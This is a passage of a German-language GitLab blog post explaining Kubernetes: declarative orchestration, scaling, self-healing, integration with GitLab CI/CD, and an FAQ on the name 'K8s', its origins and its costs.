<h2>Wie funktioniert Kubernetes?</h2>
<p>Kubernetes automatisiert die Container-Orchestrierung, jedoch ist es als Administrator wichtig, stets die Kontrolle darüber zu behalten, welche Prioritäten dabei gesetzt und welche Aspekte berücksichtigt werden müssen.</p>
<p>Administrator(inn)en erarbeiten zusammen mit den Entwickler(innen)/Anwender(innen) eine Liste an gewünschten Zuständen. Dazu kann beispielsweise der Wunsch gehören, dass gewisse Pods stets aktiv sein sollten. Auch dann, wenn sie formal nicht ununterbrochen benötigt werden.</p>
<p>Das ist ein völlig neuer Ansatz, wie über die Kontrolle der Software nachgedacht werden muss. Statt ständig auf sich ändernde Anforderungen mit neuen Befehlen zu reagieren, definiert man stattdessen, welche Zustände erfüllt werden sollen und überlässt es dann Kubernetes diese zu erfüllen.</p>
<p><em>Man bezeichnet diese Form der Kontrolle auch als &quot;deklarativ&quot;, gegenüber dem traditionellen Modell der &quot;imperativen&quot; (befehlsgebenden) Kontrolle.</em></p>
<p>Ein weiteres Eingreifen seitens Administrator(inn)en ist im Idealfall nicht mehr erforderlich. Senior Solutions Manager Brendan O'Leary von GitLab hat das einmal folgendermaßen auf den Punkt gebracht: <em>&quot;Kubernetes sorgt dafür, dass das System so bleibt, wie wir es haben wollen.&quot;</em></p>
<h2>Kubernetes in der Praxis</h2>
<p>Wie funktioniert die Orchestrierung nun?</p>
<p>Kubernetes übernimmt eine Vielzahl von Funktionen, welche die Verwendung der Pods im Cluster optimieren:</p>
<ul>
<li>Der Kubernetes Scheduler sorgt dafür, dass Pods den für sie besten Knoten zugeordnet werden.</li>
<li>Kubernetes bringt die Nachfrage nach Nutzlasten mit dem Angebot in Einklang. Das bedeutet: Wenn besonders viele Nutzer(inn)en ein ganz bestimmtes Pod anfragen, droht eine Überlastung. Kubernetes kann hierauf mit zwei Antworten reagieren: Es kann für diesen Pod mehr Ressourcen bereitstellen, oder es kann den Pod duplizieren, also Kopien erstellen und die Anfragen auf diese neuen Pods verteilen. Dieser Prozess wird als load balancing bezeichnet.</li>
<li>Kubernetes aktualisiert sich stets selbst und bleibt somit immer auf dem neuesten Stand.</li>
<li>Entstehen in einem Pod Fehler, die zu einem Ausfall führen, kann Kubernetes im Rahmen seines Self-healings (Selbstheilung) entweder den Pod reparieren oder es auf einen funktionsfähigen früheren Zustand zurücksetzen.</li>
<li>Hast du einmal ein Kubernetes-Cluster aufgesetzt, werden Nutzlasten oft von einem Knoten auf einen anderen verschoben. Interne IP-Adressen können hier also nicht mehr verwendet werden, um den aktuellen Ort eines Pods zu bestimmen (weil er sich ständig ändert). Mit der Service-Discovery-Funktion übernimmt Kubernetes die Aufgabe, dass Anfragen auf dem richtigen Pod auch ankommen.</li>
</ul>
<h2>Die Vorteile von Kubernetes</h2>
<p>Gerade bei sehr großen Cloud-Umgebungen ist leicht ersichtlich, warum die oben beschriebene, automatisierte Gewährleistung eines optimalen Zustands einen großen Nutzen mit sich bringt.</p>
<p>Ein weiterer Vorteil von Kubernetes besteht in der Entwicklung neuer Funktionen. Es ermöglicht ein reibungsloses Testen, ohne dass es dabei zum Ausfall des Systems kommt. Neue Container und Pods können unkompliziert hinzugefügt werden. Teams können gezielt nur an den Diensten arbeiten, für die sie zuständig sind und so ganz gezielt und spezifisch das System optimieren.</p>
<p>Gerade Letzteres war der Grund, dass GitLab sich bereits 2017 für ein Container-zentriertes System mit Kubernetes entschieden hat.</p>
<p>Lukas Gentele schreibt dazu:</p>
<p><em>&quot;Dass das Kubernetes-Ökosystem so vielseitig ist, mag auf den ersten Blick abschrecken, doch es ist notwendig, da die Architektur von Kubernetes ein großes Maß an Flexibilität bietet.&quot;</em></p>
<h2>Wie funktioniert die Kubernetes-Integration unter GitLab?</h2>
<p>GitLab ist eine Platform die <a href="https://about.gitlab.com/de-de/solutions/continuous-integration/">Kontinuierlichen Integration und Auslieferung</a> ermöglicht. Somit kannst du als GitLab-Nutzer(in) die Vorteile von Kubernetes bezüglich der Container-Orchestrierung für dich nutzen.</p>
<p>Weil GitLab CE und Kubernetes so natürlich miteinander harmonieren, fällt die Integration recht unkompliziert aus. Wir haben für dich einen Artikel vorbereitet, der genau erklärt, wie du ein <a href="https://docs.gitlab.com/ee/user/clusters/agent/">Kubernetes Cluster mit GitLab verbindest</a>.</p>
<p>Kurz zusammengefasst erfordert die Integration folgende Punkte:</p>
<ul>
<li>Definiere das Cluster, welches über Kubernetes automatisiert werden soll.</li>
<li>Installiere einen Agenten, der die Kommunikation mit dem Cluster übernimmt.</li>
<li>Konfiguriere die GitLab-CI/CD Pipeline so, dass sie die Kubernetes-API verwendet.</li>
</ul>
<h2>FAQs zu Kubernetes (K8s)</h2>
<h3>Warum wird Kubernetes auch K8s genannt? Was bedeutet der Begriff?</h3>
<p>K8s ist eine smarte, leicht kryptische Abkürzung des Begriffs Kubernetes: &quot;K&quot; und &quot;s&quot; bezeichnen den ersten und letzten Buchstaben, die &quot;8&quot; schlicht die Anzahl der Buchstaben, die dazwischen liegen.</p>
<p>Das Wort Kubernetes stammt aus dem Griechischen und bedeutet Steuer- oder Fährmann. Der Begriff bezieht sich auf die zentrale Aufgabe von Kubernetes, ein System auch bei &quot;hohem Wellengang&quot; stets stabil zu halten und vor dem Kentern zu bewahren.</p>
<h3>Wer hat Kubernetes entwickelt?</h3>
<p>Die ersten Impulse für Kubernetes setzte Google mit seinen Vorläuferprojekten &quot;Borg&quot; und &quot;Project 7&quot;. Beide beschäftigten sich mit der Problemstellung, die Komplexität containierisierter Anwendungen beherrschbar zu machen.</p>
<p>Bewusst als Open-Source-Plattform entwickelt, entstand Kubernetes aus der Kollaboration verschiedener großer und kleiner Unternehmen, die sich in der Cloud Native Computing Foundation zusammenschlossen.</p>
<p>Darüber hinaus wurde es maßgeblich über die Git-Community ergänzt und weiterentwickelt.</p>
<h3>Was kostet die Nutzung von Kubernetes?</h3>
<p>Bei Kubernetes handelt es sich um ein Open-Source-System. Das bedeutet, dass das Programm kostenfrei heruntergeladen werden kann. Trotzdem entstehen bei der Nutzung von Kubernetes in deinem Unternehmen Kosten, potentiell sogar recht hohe.</p>
<p>Der Grund dafür ist, dass die nackte Basisversion der Anwendung letzten Endes für die meisten Anwender(innen) nicht nutzbar ist.</p>
<p>Neben den Kosten, die für das Hosten der Kubernetes-Cluster in der Cloud anfallen, solltest du folgende möglichen Kostenpunkte berücksichtigen:</p>
<ul>
<li>Die Nutzung von Kubernetes-Dienstleistungen, welche den Einsatz vereinfachen.</li>
<li>Experten, die das Kubernetes-System konfigurieren, es gegebenenfalls warten und es auf dem neuesten Stand halten. Gerade angesichts des hohen Spezialisierungsgrads des Anforderungsprofils sowie der Menge der anfallenden Arbeitsstunden können hierbei erhebliche Kosten entstehen.</li>
<li>Nach dem Aufsetzen eines Kubernetes-Clusters liegen Ressourcen auf verschiedenen Cloud-Speichern. Ein wichtiger Teil der Funktionalität von Kubernetes besteht darin, Nutzlasten dynamisch zwischen diesen Cloud-Speichern zu verschieben, so dass die Stabilität, Sicherheit und Geschwindigkeit des Systems optimiert wird. Allerdings wird dir das Verschieben von Datenpaketen von einem Speicher auf einen anderen sogar dann berechnet, wenn alle deine Daten bei demselben/derselben Provider(in) liegen. Diese Egress-Kosten werden gemäß des verschobenen Datenvolumens kalkuliert und können sich, abhängig von der Größe der Kubernetes-Cluster, am Ende des Jahres wahrhaft auftürmen.</li>
</ul>
<p>Immer mehr Anbieter(innen) haben inzwischen Kubernetes-Online-Rechner im Angebot, mit denen du einen besseren Eindruck über die möglichen Kosten erhältst. Allerdings bleibt es meistens bei einer <a href="https://www.heise.de/news/Kosten-der-Google-Kubernetes-Engine-vorab-berechnen-zumindest-grob-7120708.html">Schätzung</a>.</p>
]]></content>
        <author>
            <name>GitLab Germany Team</name>
            <uri>https://about.gitlab.com/blog/authors/gitlab-germany team</uri>
        </author>
        <published>2025-05-15T00:00:00.000Z</published>
    </entry>
</feed>